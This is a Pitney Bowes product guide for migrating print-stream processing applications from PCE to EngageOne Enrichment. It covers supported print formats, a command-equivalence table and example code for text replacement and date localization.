Table of Contents 1 - Introduction to EngageOne Enrichment <table> <thead> <tr> <th>Topic</th> <th>Page</th> </tr> </thead> <tbody> <tr> <td>What is EngageOne Enrichment?</td> <td>5</td> </tr> <tr> <td>Why migrate to Enrichment?</td> <td>6</td> </tr> <tr> <td>Key differences between PCE and Enrichment</td> <td>7</td> </tr> <tr> <td>How does Enrichment work?</td> <td>7</td> </tr> <tr> <td>Enrichment architecture</td> <td>8</td> </tr> <tr> <td>Supported Print Streams</td> <td>10</td> </tr> <tr> <td>PCL</td> <td>12</td> </tr> <tr> <td>PostScript</td> <td>12</td> </tr> </tbody> </table> 2 - Enrichment equivalents of PCE commands <table> <thead> <tr> <th>Topic</th> <th>Page</th> </tr> </thead> <tbody> <tr> <td>Overview</td> <td>14</td> </tr> <tr> <td>Print stream commands and other commonly-used commands</td> <td>14</td> </tr> <tr> <td>Generate commands</td> <td>17</td> </tr> <tr> <td>Procedure constructs</td> <td>18</td> </tr> <tr> <td>Loop constructs</td> <td>18</td> </tr> <tr> <td>INI file preferences</td> <td>19</td> </tr> <tr> <td>Composition edit commands</td> <td>19</td> </tr> </tbody> </table> 3 - Examples <table> <thead> <tr> <th>Topic</th> <th>Page</th> </tr> </thead> <tbody> <tr> <td>Introduction</td> <td>21</td> </tr> <tr> <td>Example 1: Replacing text</td> <td>21</td> </tr> <tr> <td>Example 2: Localizing date format</td> <td>22</td> </tr> </tbody> </table> 1 - Introduction to EngageOne Enrichment In this section - What is EngageOne Enrichment? 5 - Why migrate to Enrichment? 6 - Key differences between PCE and Enrichment 7 - How does Enrichment work? 7 - Enrichment architecture 8 - Supported Print Streams 10 - PCL 12 - PostScript 12 What is EngageOne Enrichment? Enrichment processes and manipulates print streams to support advanced printing and distribution strategies. Enrichment modifies the output from existing applications independently; therefore, it requires no changes to your business applications. Enrichment allows you to perform many print stream enhancement functions, including the following: - Content enhancement - Add personalized messages - Move text and change fonts - Add new text in white space - Move and modify barcodes - Postal automation - Add POSTNET™ barcodes - Add 4-State and Intelligent Mail® barcodes - Add ChinaPost barcodes - Add ZIP+4® - Standardize addresses, when used in conjunction with an address validation product such as Finalist or CODE-1 Plus - Postal presorting, when used in conjunction with a postal presort product such as MailStream Plus - Move update processing - Combine mail streams produced from multiple applications into a single mail stream - Inserter control • Remove or modify old barcodes • Add advanced barcodes • Add sequence numbers • Build file-based insertion controls • Sort print streams • Consolidate/merge print streams For sample applications that show how to accomplish some of these tasks, see the *Enrichment Sample Applications Guide*. The following illustration demonstrates several kinds of enhancements you can make to a print stream using Enrichment. Enrichment can handle a variety of output types from your business applications: flat files, AFP line-data files, AFP Mixed Mode files, fully composed AFPDS files, Xerox DJDE, Metacode files, PCL files, PostScript and so on. Because only the output from your business applications is processed, you do not need to change the business applications themselves. Why migrate to Enrichment? Enrichment offers the following advantages over PCE: • Support for DJDE line data and PCL • Enhanced barcode support and manipulation • Better performance and application efficiency • Better integration of document composition and document finishing processes In addition, Enrichment offers optional features that are not available with PCE: • Integration with postal tools for postal presort and address validation Introduction to EngageOne Enrichment • Support of Generate and non-Generate print streams • Windows-based GUI development tool with print stream viewer Key differences between PCE and Enrichment • PCE can write text to the screen but Enrichment cannot. All communication is through a log file or a user-created output file. • Enrichment is not supported on the IBM iSeries platform. • Enrichment does not support VPS print streams. • Enrichment does not support IJPDS data streams. How does Enrichment work? Enrichment typically just plugs into your existing process. This usually means adding an extra step to the JCL, UNIX shell script, or Windows batch file you use for print processing. You can also run Enrichment as a totally independent application. Without Enrichment, your business application creates a print file that prints and runs through an inserter. If changes to the content or appearance of the print file are required, you must go back to the business application and start over. This can be costly and time-consuming. With Enrichment, your business application creates a print file that you run through Enrichment for the appropriate enhancements. The enhanced output prints and runs through the inserter. Note: Enrichment does not transform print streams from one format to another (for instance, from AFP to Metacode). Enrichment architecture The following diagram illustrates the Enrichment architecture: <table> <thead> <tr> <th>Application Layer</th> <th>Development Layer</th> <th>Engine Layer</th> <th>External Programs</th> <th>Code Library</th> </tr> </thead> <tbody> <tr> <td></td> <td>Enrichment</td> <td>Enrichment</td> <td>External Programs</td> <td>C Library or DLLs</td> </tr> <tr> <td></td> <td>Applications</td> <td>User-Written Functions</td> <td></td> <td></td> </tr> <tr> <td></td> <td>Visual Engineer</td> <td>JES Interface</td> <td></td> <td></td> </tr> <tr> <td></td> <td>Development</td> <td></td> <td></td> <td></td> </tr> <tr> <td></td> <td>Environment</td> <td></td> <td></td> <td></td> </tr> </tbody> </table> C library or DLLs The C library (for mainframe systems or UNIX) or DLLs (for Windows) serve as the code library accessed by the Enrichment engine when running applications. Depending on the platform, various libraries may be required. External programs External programs include presorting, sorting, and mail cleansing software called by Enrichment. These programs are not considered part of Enrichment. Enrichment engine The Enrichment engine is the component that processes print streams according to instructions coded in the Enrichment language (control file and rules). The engine runs on a variety of platforms. Code created to run on the engine under one platform will run on all others unless it accesses platform-dependent data, external programs, or user-written functions. This book describes coding methods for the Enrichment engine. Enrichment user-written functions Users can extend Enrichment functionality by writing their own functions in a variety of languages. The object code for the user-written functions must be executable code that has been compiled and linked. On Windows, it may be a DLL. Enrichment JES interface The JES Interface provides the ability for JES spool volume data to be used as input to a Enrichment application. There are two JES interfaces: a non-SAPI interface and a SAPI interface. The non-SAPI interface directly accesses the JES spool volumes. The SAPI interface uses the IBM Sysout Application Programming Interface (SAPI) to retrieve spool data, and does not directly access spool volumes. Enrichment Visual Engineer development environment The Enrichment Visual Engineer development environment is a tool used by developers to build and test Enrichment applications. It runs on Windows and can improve development productivity compared to manually coding and testing applications in a standard editor. Enrichment applications Programmers or printer specialists write Enrichment applications to perform specific functions on specific print files. Each application is coded using the Enrichment language, which includes two basic components: - Control File — Defines the objects to be processed by Enrichment using object-oriented constructs. - Rule File — Defines conditional processing logic for the application in traditional programming code. While a rule file is optional, it is used for most applications. The rule file is composed of sections executed at different points in the application. In many cases the rule file is embedded in the control file so it is not an actual file. However, the rule file can be a separate file that is called from a control file. Some users build programs that automatically write Enrichment code and generate Enrichment applications. Supported Print Streams Enrichment supports the following print stream formats: - AFP - DJDE - Fixed length record line date - Line data - Metacode - PCL - PostScript **AFP print streams** AFP is a printer control language for AFP-compatible printers. There are several different forms of AFP: - AFP mixed mode, which contains a mix of line printer data and AFP records. - AFP line data, which is simply a data file with an associated map (PAGEDEF) that tells the printer where to put each data field on the page. - AFPDS, which contains a series of print commands in compact form. An AFP record contains one or more AFP commands. There are many different types of AFP commands. Each command has a specified layout and associated data. You can use Enrichment to modify the contents of these commands or add new AFP records. Modification of commands is normally done with a field replacement process. New records are automatically added when you use the Add group tags. However, you can format records and add them yourself using a variety of methods. **Note:** You can use Enrichment Visual Engineer’s Explain function to view and get more information on the AFP commands in a print stream. Given that AFP is an IBM printer control language and is normally associated with mainframe systems, AFP files are normally in EBCDIC format. Refer to your IBM documentation for more information on AFP commands. **DJDE print streams** Xerox DJDE data is a special record which is placed within existing line data printer files to add special Xerox print features. These records contain Dynamic Job Descriptor Entries (DJDEs). DJDEs simply instruct the printer to perform a function. These commands are not printed. Records containing DJDEs are identified to the printer by specifying a special character sequence in a specific range of columns. In the following example, the characters #+#+DJDE are used in columns 3 through 10 to indicate a DJDE record. ``` #+#+DJDE ASSIGN=(1,3); #+#+DJDE ASSIGN=(2,11); #+#+DJDE ASSIGN=(6,23); #+#+DJDE ASSIGN=(7,73); #+#+DJDE ASSIGN=(8,80); #+#+DJDE BEGIN=(9,0,0.4); #+#+DJDE BEGIN=(.3,0); #+#+DJDE FORMAT=P0635; #+#+DJDE MARGIN=(.05,IN); #+#+DJDE DUPLEX=NO,FORMS=(A064),END; 13 HEALTH INSURANCE, INC. 3 444 CORPORATE DR 3 BATAVIA, IL 60510 03 Telephone No. 123-223-5800 ``` As shown above, DJDEs are used to specify the format of the page, margins, and duplex information. Refer to the Xerox Production Print Mode PDL/DJDE Reference for your printer for more information on DJDE commands. **Line data** Line data print streams are print streams that are prepared for printing on line printers. Line data can contain carriage control characters and table reference characters (TRC) for spacing and font selections. **Fixed-length** A fixed-length print stream is a line data print stream with no end-of-record indicator. Records are defined as a specific number of bytes rather than some other inherent record structure such as in AFPDS, or using an end of line indicator such as Line Data. **Metacode print streams** The Xerox printer control language Metacode allows users to place commands in their print stream that give printing instructions. Metacode commands control many things, including positioning of data on a page, orientation of data on the page, and font selection. Metacode print files can be very large, so Metacode commands and command options are represented in hexadecimal codes. The table below lists valid Metacode control codes. Refer to your Xerox documentation for more information on Metacode printing. **Note:** Metacode print streams can also contain Xerox DJDE commands. You should process Xerox print streams without Metacode commands as DJDE line data. PCL Printer Command Language (PCL) is a Hewlett-Packard language. For complete information on PCL, see http://www.hp.com/bizsupport. PostScript PostScript is a page description language supported by Adobe Systems. For complete information, see http://www.adobe.com/products/postscript/main.html. 2 - Enrichment equivalents of PCE commands Most PCE commands have an equivalent Enrichment tag or function. However, not all PCE commands have a direct equivalent in Enrichment. In these cases, there are workarounds. For complete information on the Enrichment tags and functions mentioned in this chapter, see the EngageOne Enrichment Language Reference Guide. In this section Overview 14 Print stream commands and other commonly-used commands 14 Generate commands 17 Procedure constructs 18 Loop constructs 18 INI file preferences 19 Composition edit commands 19 Overview Most PCE commands have an equivalent Enrichment tag or function. However, not all PCE commands have a direct equivalent in Enrichment. In these cases, there are workarounds. For complete information on the Enrichment tags and functions mentioned in this chapter, see the EngageOne Enrichment Language Reference Guide. Print stream commands and other commonly-used commands The following table lists the Enrichment equivalents for PCE commands used to work with documents, pages, objects, and other print stream elements, as well as other commonly-used PCE functions. Note: Enrichment tags are in the format <TAG> and functions are in the format FUNCTION. This is the convention followed in Enrichment documentation. <table> <thead> <tr> <th>PCE command</th> <th>Enrichment Equivalent</th> <th>Comments</th> </tr> </thead> <tbody> <tr> <td>add document name</td> <td>&lt;INSERTREC&gt;</td> <td>Preconstruct a TLE in the control file and use &lt;INSERTREC&gt;.</td> </tr> <tr> <td>add DJDE</td> <td>&lt;DJDE&gt;</td> <td>The &lt;DJDE&gt; tag group contains tags that allow you to add DJDE commands to a print stream.</td> </tr> <tr> <td>add medium map</td> <td>&lt;INSERTREC&gt;</td> <td>Preconstruct an IMM record and use &lt;INSERTREC&gt;.</td> </tr> <tr> <td>atrim</td> <td>STRIP with option B</td> <td>STRIP can trim leading, trailing, and both leading and trailing characters.</td> </tr> <tr> <td>barcode...using</td> <td>&lt;ADD&gt; tag group</td> <td>The &lt;ADD&gt; tag group is used to add a variety of objects, including text, graphics, and barcodes.</td> </tr> <tr> <td>close</td> <td>CLOSE</td> <td>Closes a file that was previously opened by the READ or WRITE function. In Enrichment, all files are implicitly opened and closed. CLOSE for users who process so many files that system limits are a problem.</td> </tr> <tr> <td>contains</td> <td>POSITION or &quot;@&quot; operator</td> <td>POSITION returns the position of a substring within a string. The &quot;@&quot; operator is a comparison operator that identifies whether or not one string exists within another.</td> </tr> <tr> <td>PCE command</td> <td>Enrichment Equivalent</td> <td>Comments</td> </tr> <tr> <td>-------------------</td> <td>-----------------------</td> <td>--------------------------------------------------------------------------</td> </tr> <tr> <td>convert resolution</td> <td>N/A</td> <td>Enrichment does not support changing the resolution.</td> </tr> <tr> <td>date</td> <td>DATE</td> <td>DATE returns the date using the format you specify.</td> </tr> <tr> <td>docoffset</td> <td>N/A</td> <td>Enrichment does not support obtaining file alternates.</td> </tr> <tr> <td>document name</td> <td>Define a field</td> <td>Document name can be extracted by defining a field for document name.</td> </tr> <tr> <td></td> <td></td> <td>It is populated as it is read in.</td> </tr> <tr> <td>document TLE</td> <td>Define a field</td> <td>TLE information can be extracted by defining a field.</td> </tr> <tr> <td>equals</td> <td>“=” operator</td> <td>The “=” operator, like the PCE command “equals”, compares two strings.</td> </tr> <tr> <td>extract document page</td> <td>Logic in &lt;RULE&gt;</td> <td>You can write a &lt;RULE&gt; tag group that performs this function.</td> </tr> <tr> <td>include</td> <td>&lt;GETFILE&gt;</td> <td>The &lt;GETFILE&gt; tag works the same way as the “include” command.</td> </tr> <tr> <td>in range</td> <td>IF statements</td> <td>There is no direct equivalent of the “in range” command but you can accomplish the same thing by using a series of IF statements.</td> </tr> <tr> <td>insert object</td> <td>&lt;ADD&gt;</td> <td>These tags and tag groups can insert a variety of objects.</td> </tr> <tr> <td></td> <td>&lt;APPEND&gt;</td> <td></td> </tr> <tr> <td></td> <td>&lt;INSERTREC&gt;</td> <td></td> </tr> <tr> <td></td> <td>&lt;INSERTPAGE&gt;</td> <td></td> </tr> <tr> <td>length</td> <td>LENGTH</td> <td>Both the PCE command and the Enrichment function return the length of a string.</td> </tr> <tr> <td>ltrim</td> <td>STRIP with option L</td> <td>Removes leading characters from a string.</td> </tr> <tr> <td>mapp</td> <td>LOOKUP</td> <td>The LOOKUP function returns a record from an external file or table in the control file. PATTERN can be used to work with substrings. The &lt;REPLACE&gt; tag specifies how the field being updated should be resized to handle the replacement value.</td> </tr> <tr> <td></td> <td>&lt;REPLACE&gt;</td> <td></td> </tr> <tr> <td></td> <td>PATTERN</td> <td></td> </tr> <tr> <td>merge</td> <td>&lt;INSERTREC&gt;</td> <td>To merge two pages, remove the end-of-page record, beginning-of-page record, and records in the Active Environment Group from the page you want to merge with another. Then, use &lt;INSERTREC&gt; to insert the contents of the page into the merged page. For example, if you want to merge page A into page B, you would remove the end-of-page record, beginning-of-page record, and Active Environment Group records from page A, then use &lt;INSERTREC&gt; to insert the contents of page A into page B.</td> </tr> <tr> <td>PCE command</td> <td>Enrichment Equivalent</td> <td>Comments</td> </tr> <tr> <td>-------------</td> <td>-----------------------</td> <td>----------</td> </tr> <tr> <td>mixc</td> <td>N/A</td> <td>There is no equivalent function in Enrichment.</td> </tr> <tr> <td>move</td> <td>&lt;SHIFT&gt; (AFPDS only)</td> <td>For AFPDS the &lt;SHIFT&gt; tag allows shifting of all printable elements by either a fixed or variable amount.</td> </tr> <tr> <td>move page</td> <td>N/A</td> <td>There is no equivalent function in Enrichment.</td> </tr> <tr> <td>nop</td> <td>N/A</td> <td>Enrichment does not provide this functionality.</td> </tr> <tr> <td>number of fonts</td> <td>N/A</td> <td>Enrichment does not provide this functionality.</td> </tr> <tr> <td>open</td> <td>&lt;INPUT&gt; tag group &lt;OUTPUT&gt; tag group READ</td> <td>The tags in the &lt;INPUT&gt; tag group specify the properties of input files. The tags in the &lt;OUTPUT&gt; tag group specify properties of output files. The READ function reads individual records from a specified file. Enrichment does not support delimited and DIJ files.</td> </tr> <tr> <td>overwrite</td> <td>&lt;FIELD&gt; &lt;RULE&gt; &lt;OVERWRITE&gt;</td> <td>Use the &lt;FIELD&gt; tag group to define the strings on the page that you want to overwrite. Then, write a &lt;RULE&gt; with the logic you want to perform the replacement. The &lt;OVERWRITE&gt; function can replace arbitrary text in PTX records in AFPDS print streams.</td> </tr> <tr> <td>page count</td> <td>%%PAGE_NO %%TOTAL_PAGES</td> <td>%%PAGE_NO contains the current page number. % TOTAL_PAGES contains total number of pages in the current document.</td> </tr> <tr> <td>pageoffset</td> <td>Reprint</td> <td>Use the system variables available in Reprint. For more information, see the EngageOne Enrichment Reprint User’s Guide.</td> </tr> <tr> <td>quit</td> <td>QUIT</td> <td>Note that in Enrichment QUIT is an instruction, not a function. QUIT halts execution of the current rule file section.</td> </tr> <tr> <td>read</td> <td>READ</td> <td>In Enrichment, READ is used only for secondary input files. Primary input (printstreams) are read automatically. The Enrichment function READ returns a record from a file. <strong>Note:</strong> The behavior of the READ function depends on the setting of the &lt;DOCUMENT&gt; tag.</td> </tr> <tr> <td>read...document</td> <td>&lt;DOCUMENT&gt;</td> <td>Use the &lt;DOCUMENT&gt; tag to identify the first and last pages in a document.</td> </tr> <tr> <td>release</td> <td>Set the variable to an empty string.</td> <td>Enrichment does not provide variable-level memory management.</td> </tr> <tr> <td>replace</td> <td>&lt;FIELD&gt; &lt;RULE&gt;</td> <td>Use the &lt;FIELD&gt; tag group to define the strings on the page that you want to replace. Then, write a &lt;RULE&gt; with the logic you want to perform the replacement.</td> </tr> <tr> <td>PCE command</td> <td>Enrichment Equivalent</td> <td>Comments</td> </tr> <tr> <td>---------------</td> <td>-----------------------</td> <td>-------------------------------------------------------------------------------------------</td> </tr> <tr> <td>rtrim</td> <td>STRIP with option R</td> <td>Removes trailing characters from a string.</td> </tr> <tr> <td>set page name</td> <td>N/A</td> <td>Enrichment does not support this functionality.</td> </tr> <tr> <td>string</td> <td>N/A</td> <td>Enrichment does not have an equivalent function.</td> </tr> <tr> <td>substring</td> <td>SUBSTR</td> <td>Extracts part of a string.</td> </tr> <tr> <td>time</td> <td>TIME</td> <td>The Enrichment function TIME can return the current time in several formats.</td> </tr> <tr> <td>TLE</td> <td>&lt;FIELD&gt;</td> <td>Use the &lt;FIELD&gt; tag group to identify index values.</td> </tr> <tr> <td>TLE add</td> <td>&lt;ADDTYPE&gt;</td> <td>Use the &lt;ADD&gt; tag group to add objects, including indexes, to a print stream. In the &lt;ADD&gt; tag group, use the &lt;ADDTYPE&gt; tag to specify the type of object (TLE).</td> </tr> <tr> <td>TLE delete</td> <td>&lt;FIELD&gt;</td> <td>Use the &lt;FIELD&gt; tag group to identify the index as a field, then delete the field.</td> </tr> <tr> <td>TLE replace</td> <td>N/A</td> <td>Enrichment does not support this functionality.</td> </tr> <tr> <td>trace</td> <td>WRITE</td> <td>The WRITE command can be used to write a message to a sidefile. Use the &lt;SIDEFILE&gt; tag group to specify the properties of the sidefile.</td> </tr> <tr> <td>translate</td> <td>LOOKUP</td> <td>The LOOKUP function returns a record from an external file or table in the control file.</td> </tr> <tr> <td>value</td> <td>RGET</td> <td>RGET converts strings to numbers.</td> </tr> <tr> <td>write</td> <td>WRITE</td> <td>WRITE writes a record to a specified sequential or partitioned data set.</td> </tr> <tr> <td>write document</td> <td>&lt;OUTPUT&gt;</td> <td>The &lt;OUTPUT&gt; command (which is different from the &lt;OUTPUT&gt; tag group) indicates which output to send the document to.</td> </tr> </tbody> </table> **Generate commands** The following commands are specific to PCE and have no Enrichment equivalent: - change DIJelement - DIJelement - add document id - document id Enrichment equivalents of PCE commands - font - get resources - read...DIJentry - write DIJentry **Note:** Enrichment provides the ability to create a Journal file, but entries are created at the document level through Enrichment’s XML support, not with a command. **Procedure constructs** Procedural processing in Enrichment is handled by the rule file. A rule file defines conditional processing. It is an optional set of code that offers additional control and user processing for individual documents and pages. In the rule file you can change field values based on certain conditions, perform calculations, create and use variables, route documents to outputs, read and write files, and add inserts or banner pages. While the rule file can be a separate file, developers often embed rule file code within the control file (using the <RULE> tag group). When it is embedded in this manner, there is no separate file that contains the rule file code. Nevertheless, rule file code that is located in the control file is still referred to as the rule file. See the *EngageOne Enrichment Developer’s Guide* for more information on rule file processing. Rule file processing takes the place of the following PCE commands: - begin procedure - call procedure - declare procedure - end procedure - return - call user exit - on error call **Loop constructs** Enrichment supports more types of loop constructs than PCE, including DO...WHILE, DO...UNTIL, and FOR...NEXT. These loop constructs can be used to mimic these PCE loop constructs: - begin loop - end loop - exit loop • for next ## INI file preferences In PCE, you can set date settings and other regional settings using the PCE INI file’s `<Preferences>` section. Enrichment does not use an INI file. To set regional settings in Enrichment, use an array in the rule file. For an example of how this is done, see Composition edit commands. ## Composition edit commands The following table lists PCE commands used to create barcodes and draw lines, and their Enrichment equivalents. <table> <thead> <tr> <th>PCE command</th> <th>Enrichment equivalent</th> <th>Comments</th> </tr> </thead> <tbody> <tr> <td>COLR</td> <td><code>&lt;COLOR&gt;</code></td> <td>The <code>&lt;COLOR&gt;</code> tag specifies the color for the object.</td> </tr> <tr> <td>DBX</td> <td><code>&lt;INSERTREC&gt;</code></td> <td>Use <code>&lt;INSERTREC&gt;</code> to draw a box using a single PTX command (in AFP), or with similar drawing commands in PCL and Postscript.</td> </tr> <tr> <td>DIL</td> <td>N/A</td> <td>Enrichment does not support image lists.</td> </tr> <tr> <td>DHR</td> <td><code>&lt;ADDTYPE&gt;</code> Line <code>&lt;ORIENT&gt;</code> 0</td> <td>Use these two Enrichment tags together to create a horizontal rule.</td> </tr> <tr> <td>DO BARCODES</td> <td><code>&lt;ADDTYPE&gt;</code></td> <td>The <code>&lt;ADDTYPE&gt;</code> tag specifies the kind of barcode to add.</td> </tr> <tr> <td>DPOL</td> <td>N/A</td> <td>Enrichment does not use overlay lists.</td> </tr> <tr> <td>DVR</td> <td><code>&lt;ADDTYPE&gt;</code> with value &quot;line<code> </code>&lt;ORIENT&gt;` with value &quot;0&quot;</td> <td>This combination of <code>&lt;ADDTYPE&gt;</code> and <code>&lt;ORIENT&gt;</code> values will draw a vertical line.</td> </tr> <tr> <td>PI</td> <td><code>&lt;ADDTYPE&gt;</code> with value &quot;I&quot;</td> <td>The value “I” means the object being added is an image.</td> </tr> </tbody> </table> 3 - Examples This section contains example applications that illustrate how to perform common functions in Enrichment. Each example contains the PCE code that accomplishes the task along with the equivalent Enrichment code. For more examples of Enrichment applications, see the *EngageOne Enrichment Sample Applications Guide*. In this section <table> <thead> <tr> <th>Section</th> <th>Page</th> </tr> </thead> <tbody> <tr> <td>Introduction</td> <td>21</td> </tr> <tr> <td>Example 1: Replacing text</td> <td>21</td> </tr> <tr> <td>Example 2: Localizing date format</td> <td>22</td> </tr> </tbody> </table> Introduction This section contains example applications that illustrate how to perform common functions in Enrichment. Each example contains the PCE code that accomplishes the task along with the equivalent Enrichment code. For more examples of Enrichment applications, see the EngageOne Enrichment Sample Applications Guide. Example 1: Replacing text This example illustrates how to replace text in a print stream. PCE code To replace text using PCE, you would use code similar to this: ```plaintext * Description: read entire file with loop - replace text * Author : Pitney Bowes Software, Inc. * Date : Tue May 20 10:21:15 2013 * --------------------------------------------------------------- DECLARE <N>; DECLARE <VAR1>; DECLARE <VAR2>; DECLARE <VAR3>; DECLARE <done>; DECLARE PROCEDURE <MAIN> IS MAIN; ***************************************************************** BEGIN PROCEDURE <MAIN>; OPEN "letter.txt" FOR INPUT AS FILE 1 LINE; OPEN "letterOut.txt" FOR OUTPUT AS FILE 2; LET <VAR1> = "Internet"; LET <VAR2> = "Web 2.0"; BEGIN LOOP; let <N> = 1; READ <N> ITEMS FROM FILE 1 INTO <VAR3>; let <done> = <N> NE 1; exit loop when <done>; REPLACE <VAR1> IN <VAR3> WITH <VAR2>; // TRACE "@<VAR3>"; WRITE 1 ITEM INTO FILE 2 FROM <VAR3> ; END loop; CLOSE INPUT 1; CLOSE OUTPUT 2; ``` **Enrichment code** To replace text using Enrichment, first create an `<Input>` tag group to define the input print stream. In the `<Input>` tag group, create a `<Field>` tag group to identify the text you want to replace, and assign a user-defined variable to use when referencing the field in the `<Rule>` section. In the example, the variable name is `%%TextToReplace`. Next, the `<Rule>` section identifies the field to update and the text you want to use. In this case, “Web 2.0”. Finally, the `<Output>` group identifies the output file for the job. ```xml /* Description: Use the replace tag to find the string "Internet" and change it to "Web 2.0" Author : Pitney Bowes Software, Inc. Date : May 20 2013 */ <input> <name> input <file> c:\MyFiles\letter.txt <type> I <doc> 1 <field>%%TextToReplace R <ref> '1' 'Internet' <loc> 0 -7 8 <replace> * Y L ' ', </field> </input> <rule> <content> %%TextToReplace = "Web 2.0" </content> </rule> <output> <name> output <file> C:\MyFiles\letterOut.txt </output> ``` **Example 2: Localizing date format** This example shows how to modify the format of a date for Spanish, and how you can perform a similar operation in Enrichment. This example references a list of the months of the year in Spanish. The application places the month in the print stream. **PCE code** To define regional settings in PCE, you set regional preferences in the PCI.INI file then reference that file from the PCE control file. **INI file** This is an example control file that contains the names of the months in Spanish. ``` ; us-spanish.ini ; Pitney Bowes Software, Inc. ; May 20 2013 <Symbols> hostpath=c:\program files\group1\doc1\work center <LicenceInfo> CustomerName=Pitney Bowes Software Keycode=PN-1111-1111-1111-1111-1111-1111-1111-1111 .FILES> Input=us-spanish.ctl Messages=%hostpath%\client\MESSAGES.DAT TranslationTable=%hostpath%\TEMPLATE\DOC1TTAB.ETT <PrintDevice> PrintStream=AFPDS Resolution=240 <Preferences2> monthname1="enero" monthname2="febrero" monthname3="marzo" monthname4="abril" monthname5="mayo" monthname6="junio" monthname7="julio" monthname8="agosto" monthname9="septiembre" monthname10="octubre" monthname11="noviembre" monthname12="diciembre" ``` **PCE file** To modify a file to use the Spanish name of the month, the PCE control file references the INI file, as shown in this example: ``` * --------------------------------------------------------------- * Description: read entire file with loop - replace text * Author : Pitney Bowes Software, Inc. * Date : Tue May 20 10:21:15 2013 * --------------------------------------------------------------- DECLARE <N>; DECLARE <MONTH>; DECLARE <DAY>; DECLARE <DATA>(5); DECLARE <done>; DECLARE <PREF>; DECLARE <COMP>; DECLARE PROCEDURE <MAIN> IS MAIN; BEGIN PROCEDURE <MAIN>; let <PREF> = "SPANISH"; let <COMP> = <PREF> eq "SPANISH"; IF <COMP>; SET PREFERENCES TO 2; END IF; ``` PCE file To modify a file to use the Spanish name of the month, the PCE control file references the INI file, as shown in this example: begin loop; let <N> = 5; READ <N> ITEMS FROM FILE 1 INTO <DATA>; let <done> = <N> NE 5; exit loop when <done>; let <MONTH> = value <DATA>(2); // Month let <DAY> = value <DATA>(3); // Day let <MONTH> = MONTHNAME <MONTH>; // Full month name TRACE "@@<MONTH>"; let <COMP> = <PREF> eq "SPANISH"; IF <COMP>; Let <DATA>(2) = <DATA>(3); Let <DATA>(3) = <MONTH>; ELSE; // USA Let <DATA>(2) = <MONTH>; END IF; WRITE 5 ITEM INTO FILE 2 FROM <VAR3> ; END loop; CLOSE INPUT 1; CLOSE OUTPUT 2; END PROCEDURE; **Enrichment code** To localize the date format using Enrichment, create a table of the month names within the control file itself. (Enrichment does not use an INI file for lookup data.) The following control file identifies the month and day fields in a print stream then modifies the month to use the Spanish month. The user-defined variable %style could be changed to “English” and the English month name would be used. This control file also changes the date format from “Month Day Year” to “Day Month Year”. ``` /* Description: Author : Pitney Bowes Software, Inc. Date : May 20 2013 */ /* extract and replace date with month name */ <input> <file> c:\MyFiles\dates.txt <NAME> Input1 <type> I <doc> 1 <field>%%month R <loc> 1P 9P 2 <replace> * Y L ' ' </field> <field>%%day R <loc> 1P 12P 2 <replace> * Y L ' ' </field> <input> ``` <table> <thead> <tr> <th>Language</th> <th>Month</th> </tr> </thead> <tbody> <tr> <td>English</td> <td>1 January, 2 February, 3 March, 4 April, 5 May, 6 June, 7 July, 8 August, 9 September, 10 October, 11 November, 12 December</td> </tr> <tr> <td>Spanish</td> <td>1 enero, 2 febrero, 3 marzo, 4 abril, 5 mayo, 6 junio, 7 julio, 8 agosto, 9 septiembre, 10 octubre, 11 noviembre, 12 diciembre</td> </tr> </tbody> </table> ``` <rule> <content> start: // %%style = "ENGLISH" %%style = "SPANISH" document: if %%style = "SPANISH" then %%month = LOOKUP(table:spanish, %%month, 1, 2, N) %%month = SUBSTR(%%month, 3) // Make date format Day Month Year %%tmp = %%month %%month = %%day %%day = %%tmp else %%month = LOOKUP(table:english, %%month, 1, 2, N) %%month = SUBSTR(%%month, 3) endif </content> </rule> <output> <name> Output <file> output.txt </name> </output> ``` Notices Copyright ©2018 Pitney Bowes, Inc. All rights reserved. MapInfo and Group 1 Software are trademarks of Pitney Bowes Inc. All other marks and trademarks are property of their respective holders. Pitney Bowes Inc. holds a non-exclusive license to publish and sell ZIP + 4® databases on optical and magnetic media. The following trademarks are owned by the United States Postal Service: CASS, CASS Certified, DPV, eLOT, FASTforward, First-Class Mail, Intelligent Mail, LACSLink, NCOALink, PAVE, PLANET Code, Postal Service, POSTNET, Post Office, RDI, SuiteLink, United States Postal Service, Standard Mail, United States Post Office, USPS, ZIP Code, and ZIP + 4. This list is not exhaustive of the trademarks belonging to the Postal Service. Pitney Bowes Inc. is a non-exclusive licensee of USPS® for NCOALink® processing. Prices for Pitney Bowes products, options, and services are not established, controlled, or approved by USPS® or United States Government. When utilizing RDI™ data to determine parcel-shipping costs, the business decision on which parcel delivery company to use is not made by the USPS® or United States Government. Copyright © DL Technology Ltd 1992-2010 Pitney Bowes Inc. ICU License - ICU 1.8.1 and later Copyright (c) 1995-2006 International Business Machines Corporation and others All rights reserved. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, provided that the above copyright notice(s) and this permission notice appear in all copies of the Software and that both the above copyright notice(s) and this permission notice appear in supporting documentation. Otherwise all product names are trademarks or registered trademarks of their respective holders.
{"Source-Url": "https://www.pitneybowes.com/content/dam/support/software/product-documentation/public/engageone-enrichment/v7-2-0/en-us/engageone-enrichment-v7-2-0-pce-migration-guide.pdf", "len_cl100k_base": 9597, "olmocr-version": "0.1.49", "pdf-total-pages": 28, "total-fallback-pages": 0, "total-input-tokens": 47639, "total-output-tokens": 9590, "length": "2e13", "weborganizer": {"__label__adult": 0.00023806095123291016, "__label__art_design": 0.00034165382385253906, "__label__crime_law": 0.00020444393157958984, "__label__education_jobs": 0.0004379749298095703, "__label__entertainment": 7.706880569458008e-05, "__label__fashion_beauty": 8.404254913330078e-05, "__label__finance_business": 0.00043892860412597656, "__label__food_dining": 0.00017154216766357422, "__label__games": 0.0006809234619140625, "__label__hardware": 0.0008931159973144531, "__label__health": 9.942054748535156e-05, "__label__history": 0.00010961294174194336, "__label__home_hobbies": 7.414817810058594e-05, "__label__industrial": 0.0002570152282714844, "__label__literature": 0.0001614093780517578, "__label__politics": 0.00010150671005249023, "__label__religion": 0.00022089481353759768, "__label__science_tech": 0.0032253265380859375, "__label__social_life": 5.930662155151367e-05, "__label__software": 0.1265869140625, "__label__software_dev": 0.865234375, "__label__sports_fitness": 0.0001043081283569336, "__label__transportation": 0.0001932382583618164, "__label__travel": 0.00011444091796875}, "weborganizer_max": "__label__software_dev", 